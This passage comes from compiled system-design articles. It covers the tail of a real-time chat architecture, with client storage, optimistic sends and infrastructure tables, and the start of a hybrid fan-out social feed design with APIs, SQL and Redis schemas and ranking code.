      "by-conversation": string
      "by-timestamp": number
      "by-status": string
    }
  }
  conversations: {
    key: string // conversationId
    value: ConversationMeta
    indexes: {
      "by-updated": number
    }
  }
  syncState: {
    key: string // conversationId
    value: { lastSequence: number; lastSync: number }
  }
}

class LocalMessageStore {
  private db: IDBDatabase

  async saveMessage(message: Message): Promise<void> {
    const tx = this.db.transaction("messages", "readwrite")
    await tx.objectStore("messages").put(message)
  }

  async getMessages(conversationId: string, options: { before?: number; limit: number }): Promise<Message[]> {
    const tx = this.db.transaction("messages", "readonly")
    const index = tx.objectStore("messages").index("by-conversation")

    const range = IDBKeyRange.bound([conversationId, 0], [conversationId, options.before || Number.MAX_SAFE_INTEGER])

    const messages: Message[] = []
    let cursor = await index.openCursor(range, "prev")

    while (cursor && messages.length < options.limit) {
      messages.push(cursor.value)
      cursor = await cursor.continue()
    }

    return messages
  }
}
```

### Optimistic Updates

```typescript collapse={1-10}
class MessageSender {
  async sendMessage(conversationId: string, content: MessageContent): Promise<void> {
    const clientMessageId = crypto.randomUUID()
    const optimisticMessage: Message = {
      messageId: clientMessageId,
      conversationId,
      senderId: this.currentUserId,
      content,
      timestamp: Date.now(),
      sequenceNumber: -1n, // Pending
      status: "PENDING",
    }

    // 1. Show immediately in UI
    this.messageStore.addOptimistic(optimisticMessage)
    this.ui.appendMessage(optimisticMessage)

    // 2. Persist to local DB
    await this.localDb.saveMessage(optimisticMessage)

    // 3. Send to server
    try {
      const ack = await this.ws.sendAndWait({
        type: "message.send",
        payload: {
          messageId: clientMessageId,
          conversationId,
          content,
        },
      })

      // 4. Update with server-assigned values
      const confirmedMessage = {
        ...optimisticMessage,
        sequenceNumber: ack.sequenceNumber,
        timestamp: ack.timestamp,
        status: "SENT",
      }

      this.messageStore.updateOptimistic(clientMessageId, confirmedMessage)
      await this.localDb.saveMessage(confirmedMessage)
    } catch (error) {
      // 5. Mark as failed
      this.messageStore.markFailed(clientMessageId)
      this.ui.showRetryOption(clientMessageId)
    }
  }
}
```

### Virtual List for Message History

```typescript collapse={1-15}
interface VirtualListConfig {
  containerHeight: number
  itemHeight: number // Estimated, variable heights supported
  overscan: number // Extra items to render above/below viewport
}

class VirtualMessageList {
  private visibleRange = { start: 0, end: 0 }
  private heightCache = new Map<string, number>()

  calculateVisibleRange(scrollTop: number): { start: number; end: number } {
    const messages = this.getMessages()
    let accumulatedHeight = 0
    let start = 0
    let end = messages.length

    // Find start index
    for (let i = 0; i < messages.length; i++) {
      const height = this.getItemHeight(messages[i])
      if (accumulatedHeight + height > scrollTop - this.config.overscan * 50) {
        start = i
        break
      }
      accumulatedHeight += height
    }

    // Find end index
    accumulatedHeight = 0
    for (let i = start; i < messages.length; i++) {
      accumulatedHeight += this.getItemHeight(messages[i])
      if (accumulatedHeight > this.config.containerHeight + this.config.overscan * 50) {
        end = i + 1
        break
      }
    }

    return { start, end }
  }

  // Render only visible messages
  render(): MessageItem[] {
    const { start, end } = this.visibleRange
    return this.getMessages().slice(start, end)
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component         | Purpose                  | Options                       |
| ----------------- | ------------------------ | ----------------------------- |
| WebSocket Gateway | Persistent connections   | Nginx (ws), HAProxy, Envoy    |
| Message Queue     | Async delivery, ordering | Kafka, Pulsar, NATS JetStream |
| KV Store          | Sessions, presence       | Redis, KeyDB, Dragonfly       |
| Message Store     | Message persistence      | ScyllaDB, Cassandra, DynamoDB |
| Relational DB     | User/group metadata      | PostgreSQL, CockroachDB       |
| Object Store      | Media files              | MinIO, Ceph, S3-compatible    |
| Push Gateway      | Mobile notifications     | Self-hosted or APNs/FCM proxy |

### AWS Reference Architecture

![Diagram](./diagram-5.svg)

**Service configurations:**

| Service             | Configuration              | Rationale                         |
| ------------------- | -------------------------- | --------------------------------- |
| WebSocket (Fargate) | 4 vCPU, 8GB, 500K conn/pod | Memory for connection state       |
| Message Service     | 2 vCPU, 4GB                | Stateless, CPU-bound              |
| Fan-out Workers     | 2 vCPU, 4GB, Spot          | Cost optimization for async       |
| ElastiCache Redis   | r6g.2xlarge cluster mode   | Sub-ms presence lookups           |
| Keyspaces           | On-demand                  | Serverless Cassandra for messages |
| RDS PostgreSQL      | db.r6g.xlarge Multi-AZ     | Metadata, moderate write load     |
| MSK                 | kafka.m5.large, 3 brokers  | 6.5 Gbps throughput capacity      |

### Scaling Considerations

**WebSocket connection limits:**

- Linux default: 1024 file descriptors per process
- Tuned: 1M+ with sysctl adjustments
- Practical per pod: 500K (memory constrained)
- 50M concurrent users → 100 gateway pods minimum

**Kafka partitioning:**

- Partition by conversation_id for ordering
- Minimum partitions: 100 (allows 100 parallel consumers)
- Hot partition handling: re-partition extremely active conversations

**Message storage partitioning:**

- ScyllaDB partition key: conversation_id
- Max partition size: 100MB (~200K messages)
- Very active conversations: add time bucket to partition key

**Presence fan-out:**

- Redis pub/sub scales to ~10K subscribers per channel
- For users with 10K+ contacts: use hierarchical pub/sub or dedicated presence servers

## Conclusion

This design provides real-time chat and messaging with:

1. **Sub-500ms message delivery** via WebSocket with hybrid push/pull fan-out
2. **At-least-once delivery** with client-side deduplication for reliability
3. **Strong per-conversation ordering** through server-assigned sequence numbers
4. **Seamless offline support** via local storage and sync protocol
5. **Scalable presence** using Redis pub/sub with heartbeat-based status

**Key architectural decisions:**

- Hybrid fan-out balances latency (direct push) with scalability (Kafka for large groups)
- Server-assigned timestamps eliminate clock skew issues
- Client-generated message IDs enable idempotent retry
- Per-conversation partitioning ensures ordering without global coordination

**Known limitations:**

- Server dependency for message ordering (no P2P)
- At-least-once delivery requires client deduplication logic
- Presence accuracy limited by heartbeat interval (30s staleness possible)
- Large group delivery latency higher than 1:1 messages

**Future enhancements:**

- End-to-end encryption with Signal protocol
- Reactions and threaded replies
- Message editing and deletion with tombstones
- Voice and video calling integration (WebRTC)

## Appendix

### Prerequisites

- Distributed systems fundamentals (consistency models, partitioning)
- Real-time communication patterns (WebSocket, pub/sub)
- Message queue concepts (Kafka partitions, consumer groups)
- Database selection trade-offs (SQL vs. NoSQL)

### Terminology

| Term                | Definition                                                                      |
| ------------------- | ------------------------------------------------------------------------------- |
| **Fan-out**         | Distributing a message to multiple recipients                                   |
| **Sequence number** | Monotonically increasing identifier for ordering messages within a conversation |
| **Presence**        | User's online/offline status and activity indicators                            |
| **Idempotency**     | Property ensuring duplicate requests produce the same result                    |
| **Heartbeat**       | Periodic signal from client to server indicating connection is alive            |
| **ACK**             | Acknowledgment message confirming receipt                                       |
| **TTL**             | Time-to-live; automatic expiration of data after specified duration             |

### Summary

- Real-time chat requires **persistent connections** (WebSocket), **reliable delivery** (at-least-once with dedup), and **ordering guarantees** (server-assigned sequence numbers)
- **Hybrid fan-out** (direct push for small groups, Kafka for large) balances latency with scalability
- **ScyllaDB** provides time-series optimized storage with sub-15ms p99 read latency
- **Redis** handles ephemeral state: sessions, presence, typing indicators with pub/sub distribution
- **Client-side sync protocol** with sequence tracking enables seamless offline-to-online transitions
- Scale to 350K+ messages/second with horizontal gateway scaling and partitioned message queues

### References

**Real-World Implementations:**

- [How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - ScyllaDB migration and performance gains
- [How Discord Serves 15 Million Users on One Server](https://blog.bytebytego.com/p/how-discord-serves-15-million-users) - Elixir and BEAM architecture
- [Real-time Messaging at Slack](https://slack.engineering/real-time-messaging/) - Channel server architecture
- [LinkedIn's Real-Time Presence Platform](https://engineering.linkedin.com/blog/2018/01/now-you-see-me--now-you-dont--linkedins-real-time-presence-platf) - Presence at scale

**Protocol Specifications:**

- [RFC 6455 - The WebSocket Protocol](https://datatracker.ietf.org/doc/html/rfc6455) - WebSocket specification
- [XMPP Core (RFC 6120)](https://xmpp.org/rfcs/rfc6120.html) - Extensible Messaging and Presence Protocol
- [MQTT Version 5.0 (OASIS Standard)](https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html) - IoT messaging protocol

**Distributed Systems Theory:**

- [Time, Clocks, and the Ordering of Events](https://lamport.azurewebsites.net/pubs/time-clocks.pdf) - Lamport's foundational paper
- [Exactly-Once Semantics in Apache Kafka](https://www.confluent.io/blog/exactly-once-semantics-are-possible-heres-how-apache-kafka-does-it/) - Kafka's exactly-once implementation

**Related Articles:**

- [Design Collaborative Document Editing](../design-google-docs-collaboration/README.md) - Real-time sync with OT/CRDT
- [Design a Notification System](../design-notification-system/README.md) - Multi-channel push delivery

---

## Design a Social Feed (Facebook/Instagram)

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-social-feed
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for social feed generation and ranking covering fan-out strategies, ML-powered ranking, graph-based storage, and caching at scale. This design addresses sub-second feed delivery for billions of users with personalized content ranking, handling the “celebrity problem” where a single post can require millions of fan-out operations.

# Design a Social Feed (Facebook/Instagram)

A comprehensive system design for social feed generation and ranking covering fan-out strategies, ML-powered ranking, graph-based storage, and caching at scale. This design addresses sub-second feed delivery for billions of users with personalized content ranking, handling the "celebrity problem" where a single post can require millions of fan-out operations.

<figure>

![High-level architecture: Aggregators query leaf servers for candidates, ranking service applies ML models, fan-out service distributes posts to follower feeds, and TAO provides graph storage.](./high-level-architecture-aggregators-query-leaf-servers-for-candidates-ranking-se.svg)

<figcaption>High-level architecture: Aggregators query leaf servers for candidates, ranking service applies ML models, fan-out service distributes posts to follower feeds, and TAO provides graph storage.</figcaption>
</figure>

## Abstract

Social feed systems solve three interconnected problems: **efficient content distribution** (getting posts to followers), **personalized ranking** (showing the most relevant content first), and **low-latency retrieval** (sub-second feed loads at massive scale).

**Core architectural decisions:**

| Decision         | Choice                | Rationale                                                          |
| ---------------- | --------------------- | ------------------------------------------------------------------ |
| Fan-out strategy | Hybrid push/pull      | Push for regular users, pull for celebrities (>10K followers)      |
| Content storage  | TAO-like graph store  | Objects + associations model fits social data naturally            |
| Feed ranking     | Multi-stage ML funnel | Billions → hundreds → ~50 candidates through progressive filtering |
| Caching          | Two-tier regional     | Followers handle reads, leaders maintain consistency               |
| Consistency      | Eventual (~1 min)     | Acceptable for social content; strong only for engagement counts   |

**Key trade-offs accepted:**

- Eventual consistency for feed updates (fresh-enough is good enough)
- Higher write amplification for regular users (pre-computed feeds)
- Complex hybrid logic for celebrity handling
- ML model staleness (hourly retraining) in exchange for training efficiency

**What this design optimizes:**

- p99 feed load < 500ms globally
- Zero data loss for user-generated content
- Personalized ranking with 1000+ signals
- Linear horizontal scaling to billions of users

## Requirements

### Functional Requirements

| Requirement                          | Priority | Notes                                      |
| ------------------------------------ | -------- | ------------------------------------------ |
| Home feed generation                 | Core     | Aggregated posts from followed users       |
| Post creation                        | Core     | Text, images, videos with privacy settings |
| Feed ranking                         | Core     | Personalized relevance ordering            |
| Real-time feed updates               | Core     | New posts appear without full refresh      |
| Engagement actions                   | Core     | Like, comment, share, save                 |
| Following/followers                  | Core     | Asymmetric social graph                    |
| Feed pagination                      | Core     | Infinite scroll with cursor-based loading  |
| Post visibility                      | Extended | Public, friends-only, custom lists         |
| Stories/ephemeral content            | Extended | 24-hour expiring content                   |
| Algorithmic vs. chronological toggle | Extended | User preference for feed type              |

### Non-Functional Requirements

| Requirement           | Target           | Rationale                                |
| --------------------- | ---------------- | ---------------------------------------- |
| Availability          | 99.99% (4 nines) | Revenue-critical, user retention         |
| Feed load latency     | p99 < 500ms      | User experience threshold                |
| Post publish latency  | p99 < 2s         | Acceptable for async processing          |
| Feed freshness        | < 1 minute       | Balance between freshness and efficiency |
| Ranking model latency | p99 < 100ms      | Real-time personalization requirement    |
| Data durability       | 99.999999%       | No user content loss                     |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 2 billion
- Daily Active Users (DAU): 1 billion (50% of MAU)
- Peak concurrent users: 200 million (20% of DAU)

**Traffic:**

- Feed loads per user per day: 20
- Daily feed requests: 1B × 20 = 20 billion/day = 230K RPS
- Peak multiplier: 3× → 700K RPS
- Posts per user per day: 0.5 average (power law distribution)
- Daily posts: 500 million posts/day = 5.8K posts/second

**Storage:**

- Average post size: 2KB (metadata, excluding media)
- Media per post: 500KB average (after compression, CDN-served)
- Daily post storage: 500M × 2KB = 1TB/day (metadata)
- Daily media storage: 500M × 500KB = 250TB/day
- Social graph edges: 2B users × 500 avg connections = 1 trillion edges
- Graph storage: 1T edges × 100 bytes = 100TB

**Fan-out estimation:**

- Average followers: 500
- Posts requiring fan-out: 500M/day
- Fan-out writes: 500M × 500 = 250 billion writes/day
- Celebrity optimization: Top 1% (20M users) average 50K followers
- Without optimization: 20M × 50K × 0.5 posts = 500 trillion writes/day (impossible)

## Design Paths

### Path A: Fan-out on Write (Push Model)

**Best when:**

- Uniform follower distribution (no celebrities)
- Read-heavy workload (reads >> writes)
- Real-time feed freshness is critical
- Simpler operational model preferred

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Pre-computed feeds in Redis/Memcached
- O(1) feed reads, O(followers) writes
- Feed cache stores post IDs in sorted order

**Trade-offs:**

- ✅ Extremely fast feed reads (single cache lookup)
- ✅ Simple feed retrieval logic
- ✅ Predictable read latency
- ❌ Massive write amplification for celebrities
- ❌ High storage cost (duplicate post references)
- ❌ Delayed delivery during fan-out processing

**Real-world example:** Twitter historically used this approach, storing up to 800 tweets per timeline in Redis. At 39M QPS with 105TB RAM across 10,000+ Redis instances, this works for most users but requires special handling for high-follower accounts.

### Path B: Fan-out on Read (Pull Model)

**Best when:**

- Celebrity-heavy platform (many high-follower users)
- Write-heavy workload
- Storage cost is a primary concern
- Acceptable higher read latency

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- No write amplification
- Feed computed on demand
- Read complexity: O(followees × posts_per_user)

**Trade-offs:**

- ✅ No write amplification
- ✅ Always fresh content
- ✅ Lower storage requirements
- ❌ Higher read latency (aggregation required)
- ❌ More compute per request
- ❌ Harder to apply complex ranking

**Real-world example:** Facebook moved to this approach in 2007. The Multifeed system fetches tens of thousands of potential updates per user, then ranks and filters to ~45 items. This requires sophisticated indexing and caching to maintain sub-second latency.

### Path C: Hybrid Model (Industry Standard)

**Best when:**

- Mixed follower distribution (most users small, some celebrities)
- Need to optimize both reads and writes
- Can handle additional system complexity
- Facebook/Instagram/Twitter scale

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Threshold-based routing (typically 10K followers)
- Pre-computed feeds + on-demand celebrity merging
- Best of both worlds for common cases

**Trade-offs:**

- ✅ Optimal latency for typical users (pre-computed)
- ✅ Handles celebrities without write explosion
- ✅ Flexible threshold tuning
- ❌ Two code paths to maintain
- ❌ More complex feed read logic
- ❌ Edge cases around threshold (users crossing 10K)

**Real-world example:** Discord uses this approach: direct fan-out for small servers, Kafka-based distribution for large servers (100+ members). Instagram similarly uses hybrid fan-out with ML-based feed generation.

### Path Comparison

| Factor              | Fan-out Write      | Fan-out Read       | Hybrid                 |
| ------------------- | ------------------ | ------------------ | ---------------------- |
| Read latency        | ~10ms              | ~200ms             | ~50ms                  |
| Write latency       | O(followers)       | O(1)               | O(followers) for small |
| Celebrity handling  | Impossible         | Native             | Optimized              |
| Storage cost        | High               | Low                | Medium                 |
| Complexity          | Low                | Medium             | High                   |
| Production examples | Twitter (pre-2015) | Facebook Multifeed | Instagram, Discord     |

### This Article's Focus

This article focuses on **Path C (Hybrid)** because:

1. Represents modern production architectures at Facebook/Instagram scale
2. Demonstrates trade-off thinking essential for system design
3. Handles the full spectrum from regular users to celebrities
4. Balances latency, storage, and operational complexity

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### Feed Generation Service (Multifeed)

The feed generation layer follows Facebook's Multifeed architecture with disaggregated tiers:

**Aggregator Tier:**

- CPU-intensive query processing and ranking
- Stateless, horizontally scalable
- Queries multiple leaf servers in parallel
- Applies ML ranking models to candidates

**Leaf Tier:**

- Memory-intensive, stores recent action indices
- Indexes posts by author, sorted by time
- Maintains in-memory structures for fast retrieval
- Sharded by user ID

**Tailer:**

- Real-time data pipeline from Kafka
- Updates leaf indices as posts are created
- Handles index rebuilding from persistent storage

**Design decisions:**

| Decision          | Choice                        | Rationale                                   |
| ----------------- | ----------------------------- | ------------------------------------------- |
| Tier separation   | Disaggregated aggregator/leaf | 40% efficiency gain, independent scaling    |
| Leaf sharding     | By author user_id             | Co-locates author's posts for range queries |
| Index structure   | Time-sorted skip list         | Fast range queries with O(log n) insert     |
| Memory management | LRU eviction, flash overflow  | Balance hot data in RAM, cold on SSD        |

### Social Graph Service (TAO-like)

Manages the social graph (follows, friends, blocks) and content relationships:

**Data model:**

- **Objects**: Users, posts, comments, pages (nodes)
- **Associations**: Follows, likes, comments, tags (edges)

**Design characteristics:**

- Two tables only: objects and associations
- Associations stored on source object's shard
- Enables single-shard queries for common patterns

![Diagram](./diagram-5.svg)

### Fan-out Service

Handles post distribution to follower feeds:

**Routing logic:**

```typescript
interface FanoutRouter {
  routePost(post: Post, author: User): FanoutStrategy
}

type FanoutStrategy =
  | { type: "push"; followers: string[] }
  | { type: "pull"; authorId: string }
  | { type: "hybrid"; pushTo: string[]; markForPull: boolean }
```

**Threshold-based routing:**

- Authors with < 10K followers: Full push fan-out
- Authors with 10K-1M followers: Hybrid (push to active followers, pull for rest)
- Authors with > 1M followers: Pull only (mark post for read-time merging)

### Ranking Service

Multi-stage funnel progressively narrows candidates:

![Diagram](./diagram-6.svg)

## API Design

### Feed Endpoints

#### Get Home Feed

**Endpoint:** `GET /api/v1/feed`

**Query Parameters:**

| Parameter | Type    | Description                           |
| --------- | ------- | ------------------------------------- |
| cursor    | string  | Pagination cursor (opaque)            |
| limit     | int     | Items per page (default: 20, max: 50) |
| refresh   | boolean | Force fresh feed generation           |

**Response (200 OK):**

```json
{
  "posts": [
    {
      "id": "post_abc123",
      "author": {
        "id": "user_456",
        "username": "johndoe",
        "displayName": "John Doe",
        "avatarUrl": "https://cdn.example.com/avatars/456.jpg",
        "isVerified": true
      },
      "content": {
        "type": "image",
        "text": "Beautiful sunset! 🌅",
        "media": [
          {
            "id": "media_789",
            "type": "image",
            "url": "https://cdn.example.com/posts/789.jpg",
            "thumbnailUrl": "https://cdn.example.com/posts/789_thumb.jpg",
            "width": 1080,
            "height": 1350,
            "altText": "Sunset over the ocean"
          }
        ]
      },
      "engagement": {
        "likeCount": 1542,
        "commentCount": 89,
        "shareCount": 23,
        "viewCount": 12450,
        "isLiked": false,
        "isSaved": false
      },
      "ranking": {
        "score": 0.89,
        "reason": "friend_interaction"
      },
      "createdAt": "2024-02-03T10:30:00Z",
      "visibility": "public"
    }
  ],
  "pagination": {
    "nextCursor": "eyJ0IjoxNzA2ODg2NDAwfQ",
    "hasMore": true
  },
  "meta": {
    "feedType": "ranked",
    "generatedAt": "2024-02-03T12:00:00Z"
  }
}
```

#### Create Post

**Endpoint:** `POST /api/v1/posts`

**Request:**

```json
{
  "content": {
    "text": "Hello world!",
    "mediaIds": ["upload_123", "upload_456"]
  },
  "visibility": "public",
  "allowComments": true,
  "allowSharing": true,
  "location": {
    "latitude": 37.7749,
    "longitude": -122.4194,
    "name": "San Francisco, CA"
  }
}
```

**Response (201 Created):**

```json
{
  "id": "post_new789",
  "author": {
    "id": "user_123",
    "username": "currentuser"
  },
  "content": {
    "text": "Hello world!",
    "media": [...]
  },
  "createdAt": "2024-02-03T12:05:00Z",
  "visibility": "public",
  "fanoutStatus": "pending"
}
```

#### Real-time Feed Updates (SSE)

**Endpoint:** `GET /api/v1/feed/stream`

**Event Types:**

```
event: new_post
data: {"postId": "post_xyz", "authorId": "user_456", "preview": "Check out..."}

event: engagement_update
data: {"postId": "post_abc", "likeCount": 1543, "commentCount": 90}

event: post_removed
data: {"postId": "post_old", "reason": "author_deleted"}
```

### Engagement Endpoints

#### Like/Unlike Post

**Endpoint:** `POST /api/v1/posts/{id}/like`

**Response (200 OK):**

```json
{
  "liked": true,
  "likeCount": 1543,
  "timestamp": "2024-02-03T12:10:00Z"
}
```

#### Get Comments

**Endpoint:** `GET /api/v1/posts/{id}/comments`

**Query Parameters:**

| Parameter | Type   | Description                            |
| --------- | ------ | -------------------------------------- |
| cursor    | string | Pagination cursor                      |
| limit     | int    | Comments per page (default: 20)        |
| sort      | string | "top" (engagement), "newest", "oldest" |

**Response (200 OK):**

```json
{
  "comments": [
    {
      "id": "comment_123",
      "author": {
        "id": "user_789",
        "username": "commenter",
        "avatarUrl": "..."
      },
      "text": "Great post!",
      "likeCount": 45,
      "replyCount": 3,
      "isLiked": false,
      "createdAt": "2024-02-03T10:35:00Z",
      "replies": []
    }
  ],
  "pagination": {
    "nextCursor": "...",
    "hasMore": true
  },
  "totalCount": 89
}
```

### Error Responses

| Code | Error              | When                                    |
| ---- | ------------------ | --------------------------------------- |
| 400  | `INVALID_CONTENT`  | Post content violates rules             |
| 401  | `UNAUTHORIZED`     | Missing or invalid token                |
| 403  | `FORBIDDEN`        | User blocked or content restricted      |
| 404  | `POST_NOT_FOUND`   | Post doesn't exist or is deleted        |
| 429  | `RATE_LIMITED`     | Too many requests                       |
| 503  | `FEED_UNAVAILABLE` | Feed generation temporarily unavailable |

**Rate limits:**

| Endpoint      | Limit | Window     |
| ------------- | ----- | ---------- |
| Feed load     | 60    | per minute |
| Post creation | 10    | per hour   |
| Like/comment  | 100   | per minute |
| Media upload  | 50    | per hour   |

## Data Modeling

### TAO Schema (Objects and Associations)

#### Objects Table

```sql
CREATE TABLE objects (
    id BIGINT PRIMARY KEY,
    type VARCHAR(50) NOT NULL,
    data BLOB,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_type_created (type, created_at)
);
```

**Object types:**

| Type    | Data Fields                                               |
| ------- | --------------------------------------------------------- |
| user    | username, display_name, avatar_url, bio, follower_count   |
| post    | author_id, content, visibility, like_count, comment_count |
| comment | post_id, author_id, text, like_count                      |
| media   | post_id, url, type, dimensions, alt_text                  |

#### Associations Table

```sql
CREATE TABLE associations (
    id1 BIGINT NOT NULL,
    assoc_type VARCHAR(50) NOT NULL,
    id2 BIGINT NOT NULL,
    time BIGINT NOT NULL,
    data BLOB,
    PRIMARY KEY (id1, assoc_type, id2),
    INDEX idx_id1_type_time (id1, assoc_type, time DESC)
);
```

**Association types:**

| Type      | id1         | id2         | Data       |
| --------- | ----------- | ----------- | ---------- |
| follows   | follower_id | followee_id | created_at |
| authored  | user_id     | post_id     | -          |
| liked     | user_id     | post_id     | created_at |
| commented | user_id     | comment_id  | -          |
| tagged    | post_id     | user_id     | -          |

**Sharding strategy:**

- Shard by id1 (source object)
- Co-locates user's follows, likes, authored posts
- Enables single-shard queries for common patterns

### Feed Cache Schema (Redis)

```redis
# Pre-computed feed (sorted set)
# Score = ranking score or timestamp
ZADD feed:{user_id} {score} {post_id}

# Keep last 500 posts per feed
ZREMRANGEBYRANK feed:{user_id} 0 -501

# Feed metadata (hash)
HSET feed:meta:{user_id}
    last_generated 1706886400000
    version 42
    type "ranked"

# Celebrity posts index (for pull-based merging)
ZADD celebrity_posts:{author_id} {timestamp} {post_id}

# User's recent engagement (for ranking features)
ZADD user:engaged:{user_id} {timestamp} {post_id}
EXPIRE user:engaged:{user_id} 604800  # 7 days
```

### Post Index (Leaf Servers)

In-memory index structure on leaf servers:

```typescript
interface PostIndex {
  // Posts by author, sorted by time (descending)
  authorIndex: Map<UserId, SortedSet<PostId, Timestamp>>

  // Posts by visibility for filtering
  visibilityIndex: Map<Visibility, Set<PostId>>

  // Recent posts global index (for trending)
  recentPosts: SortedSet<PostId, Timestamp>
}

interface SortedSet<K, S> {
  add(key: K, score: S): void
  range(start: S, end: S, limit: number): K[]
  remove(key: K): void
}
```

### MySQL Persistent Storage

```sql
-- Users table
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    display_name VARCHAR(100),
    email VARCHAR(255) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    avatar_url TEXT,
    bio TEXT,
    follower_count INT DEFAULT 0,
    following_count INT DEFAULT 0,
    post_count INT DEFAULT 0,
    is_verified BOOLEAN DEFAULT FALSE,
    is_celebrity BOOLEAN DEFAULT FALSE,  -- >10K followers
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
) ENGINE=InnoDB;

-- Posts table
CREATE TABLE posts (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    author_id BIGINT NOT NULL,
    content_text TEXT,
    content_type ENUM('text', 'image', 'video', 'link') NOT NULL,
    visibility ENUM('public', 'friends', 'private') DEFAULT 'public',
    like_count INT DEFAULT 0,
    comment_count INT DEFAULT 0,
    share_count INT DEFAULT 0,
    view_count INT DEFAULT 0,
    is_deleted BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_author_created (author_id, created_at DESC),
    INDEX idx_created (created_at DESC),
    FOREIGN KEY (author_id) REFERENCES users(id)
) ENGINE=InnoDB;

-- Social graph (follow relationships)
CREATE TABLE follows (
    follower_id BIGINT NOT NULL,
    followee_id BIGINT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (follower_id, followee_id),
    INDEX idx_followee (followee_id),
    FOREIGN KEY (follower_id) REFERENCES users(id),
    FOREIGN KEY (followee_id) REFERENCES users(id)
) ENGINE=InnoDB;

-- Engagement (likes, saves)
CREATE TABLE post_likes (
    user_id BIGINT NOT NULL,
    post_id BIGINT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (user_id, post_id),
    INDEX idx_post (post_id),
    FOREIGN KEY (user_id) REFERENCES users(id),
    FOREIGN KEY (post_id) REFERENCES posts(id)
) ENGINE=InnoDB;
```

### Database Selection Matrix

| Data Type     | Store                 | Rationale                                      |
| ------------- | --------------------- | ---------------------------------------------- |
| Social graph  | TAO (MySQL-backed)    | Optimized for graph queries, association lists |
| User profiles | MySQL                 | ACID, moderate scale                           |
| Posts         | MySQL + TAO cache     | Durability + fast graph queries                |
| Feed cache    | Redis                 | Sub-ms reads, sorted sets for ranking          |
| Post index    | Leaf servers (memory) | Ultra-fast candidate retrieval                 |
| Media         | S3 + CDN              | Cost-effective, globally distributed           |
| ML features   | Feature store         | Consistent features for training/serving       |
| Analytics     | ClickHouse            | Time-series, aggregations                      |

## Low-Level Design

### Feed Generation Algorithm

#### Candidate Retrieval

```typescript collapse={1-12}
class CandidateRetriever {
  private readonly leafClient: LeafClient
  private readonly taoClient: TAOClient
  private readonly redis: RedisCluster

  async getCandidates(userId: string): Promise<CandidateSet> {
    // 1. Get user's followees
    const followees = await this.taoClient.getAssociations(userId, "follows", { limit: 5000 })

    // 2. Fetch recent posts from each followee (parallel)
    const postPromises = followees.map((followee) =>
      this.leafClient.getAuthorPosts(followee.id2, {
        since: Date.now() - 7 * 24 * 60 * 60 * 1000, // 7 days
        limit: 50,
      }),
    )

    const postsByAuthor = await Promise.all(postPromises)

    // 3. Fetch celebrity posts for pull-based merging
    const celebrityFollowees = followees.filter((f) => f.data.isCelebrity)
    const celebrityPosts = await this.getCelebrityPosts(celebrityFollowees.map((f) => f.id2))

    // 4. Merge and deduplicate
    const allPosts = [...postsByAuthor.flat(), ...celebrityPosts]

    // 5. Apply eligibility filters
    const eligible = await this.filterEligible(userId, allPosts)

    return {
      candidates: eligible,
      source: {
        fromCache: postsByAuthor.length,
        fromCelebrity: celebrityPosts.length,
      },
    }
  }

  private async filterEligible(userId: string, posts: Post[]): Promise<Post[]> {
    // Filter out: blocked authors, hidden posts, already seen
    const [blocked, hidden, seen] = await Promise.all([
      this.taoClient.getAssociations(userId, "blocks"),
      this.redis.smembers(`hidden:${userId}`),
      this.redis.smembers(`seen:${userId}`),
    ])

    const blockedSet = new Set(blocked.map((b) => b.id2))
    const hiddenSet = new Set(hidden)
    const seenSet = new Set(seen)

    return posts.filter(
      (post) =>
        !blockedSet.has(post.authorId) &&
        !hiddenSet.has(post.id) &&
        !seenSet.has(post.id) &&
        this.checkVisibility(userId, post),
    )
  }
}
```

#### Multi-Stage Ranking

```typescript collapse={1-15}
class FeedRanker {
  private readonly featureStore: FeatureStore
  private readonly modelServer: ModelServer

  async rank(userId: string, candidates: Post[]): Promise<RankedPost[]> {
    // Stage 1: First-pass lightweight ranking
    const stage1 = await this.firstPassRank(userId, candidates)
    const top500 = stage1.slice(0, 500)

    // Stage 2: Second-pass neural network
    const stage2 = await this.secondPassRank(userId, top500)
    const top100 = stage2.slice(0, 100)

    // Stage 3: Final reranking with diversity
    const final = await this.finalRerank(userId, top100)

    return final.slice(0, 50)
  }

  private async firstPassRank(userId: string, candidates: Post[]): Promise<RankedPost[]> {
    // Lightweight features (can compute in-process)
    const features = candidates.map((post) => ({
      postId: post.id,
      recency: this.computeRecency(post.createdAt),
      authorAffinity: this.getAuthorAffinity(userId, post.authorId),
      contentType: post.contentType,
      engagementVelocity: this.getEngagementVelocity(post),
    }))

    // Simple linear model for speed
    const scores = features.map(
      (f) =>
        0.3 * f.recency +
        0.4 * f.authorAffinity +
        0.2 * f.engagementVelocity +
        0.1 * this.contentTypeBoost(f.contentType),
    )

    return this.sortByScore(candidates, scores)
  }

  private async secondPassRank(userId: string, candidates: Post[]): Promise<RankedPost[]> {
    // Fetch rich features from feature store
    const features = await this.featureStore.getBatch(
      candidates.map((c) => ({
        userId,
        postId: c.id,
